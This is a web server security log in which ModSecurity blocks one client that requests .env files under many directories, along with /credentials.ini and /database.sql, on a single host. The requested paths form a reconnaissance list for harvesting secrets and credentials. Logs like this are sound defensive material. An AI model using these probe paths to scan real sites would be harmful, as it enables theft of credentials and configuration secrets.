[Sat Oct 24 06:59:33.892567 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HwAAAAY"]
[Sat Oct 24 06:59:33.892709 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXAAAAAI"]
[Sat Oct 24 06:59:33.892729 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HwAAAAY"]
[Sat Oct 24 06:59:33.892950 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXAAAAAI"]
[Sat Oct 24 06:59:33.892955 2026] [security2:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "atyPlTOT1ZsOoHahaDY_HwAAAAY"]
[Sat Oct 24 06:59:33.901200 2026] [proxy_fcgi:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 06:59:33.934613 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "atyPlfPD_keneTOG9SbiUgAAAAg"]
[Sat Oct 24 06:59:33.934956 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "atyPlfPD_keneTOG9SbiUgAAAAg"]
[Sat Oct 24 06:59:33.935308 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "atyPlfPD_keneTOG9SbiUgAAAAg"]
[Sat Oct 24 06:59:33.968421 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "atyPlYY2rJh4KkI7ZZhiugAAAAM"]
[Sat Oct 24 06:59:33.968657 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "atyPlYY2rJh4KkI7ZZhiugAAAAM"]
[Sat Oct 24 06:59:33.968877 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "atyPlYY2rJh4KkI7ZZhiugAAAAM"]
[Sat Oct 24 06:59:33.969845 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyPlbX1SaR9hxmEXogoTwAAAAo"]
[Sat Oct 24 06:59:33.969973 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyPlbX1SaR9hxmEXogoTwAAAAo"]
[Sat Oct 24 06:59:33.970186 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "atyPlbX1SaR9hxmEXogoTwAAAAo"]
[Sat Oct 24 06:59:33.972599 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXQAAAAI"]
[Sat Oct 24 06:59:33.972772 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXQAAAAI"]
[Sat Oct 24 06:59:33.972992 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "atyPlQSwRuPA-FjBma7IXQAAAAI"]
[Sat Oct 24 06:59:34.044385 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyPloY2rJh4KkI7ZZhiuwAAAAM"]
[Sat Oct 24 06:59:34.044536 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyPloY2rJh4KkI7ZZhiuwAAAAM"]
[Sat Oct 24 06:59:34.044775 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.62.25.61:55384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "atyPloY2rJh4KkI7ZZhiuwAAAAM"]
[Sat Oct 24 06:59:34.048429 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXgAAAAI"]
[Sat Oct 24 06:59:34.048569 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXgAAAAI"]
[Sat Oct 24 06:59:34.048808 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXgAAAAI"]
[Sat Oct 24 06:59:34.049762 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4-gAAAAU"]
[Sat Oct 24 06:59:34.049891 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4-gAAAAU"]
[Sat Oct 24 06:59:34.050093 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "atyPlkZmsT_-xVq3Bbq4-gAAAAU"]
[Sat Oct 24 06:59:34.050600 2026] [proxy_fcgi:error] [pid 2608663:tid 2608663] [client 34.62.25.61:55340] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 06:59:34.055933 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlQAAABg"]
[Sat Oct 24 06:59:34.056066 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlQAAABg"]
[Sat Oct 24 06:59:34.056271 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.62.25.61:55326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "atyPlg6rpxYYtVdDcXCnlQAAABg"]
[Sat Oct 24 06:59:34.087783 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "atyPlvPD_keneTOG9SbiVAAAAAg"]
[Sat Oct 24 06:59:34.088013 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "atyPlvPD_keneTOG9SbiVAAAAAg"]
[Sat Oct 24 06:59:34.088300 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "atyPlvPD_keneTOG9SbiVAAAAAg"]
[Sat Oct 24 06:59:34.121574 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "atyPlrX1SaR9hxmEXogoUQAAAAo"]
[Sat Oct 24 06:59:34.121755 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "atyPlrX1SaR9hxmEXogoUQAAAAo"]
[Sat Oct 24 06:59:34.122072 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.62.25.61:55376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "atyPlrX1SaR9hxmEXogoUQAAAAo"]
[Sat Oct 24 06:59:34.124535 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXwAAAAI"]
[Sat Oct 24 06:59:34.124773 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXwAAAAI"]
[Sat Oct 24 06:59:34.125096 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.62.25.61:55368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "atyPlgSwRuPA-FjBma7IXwAAAAI"]
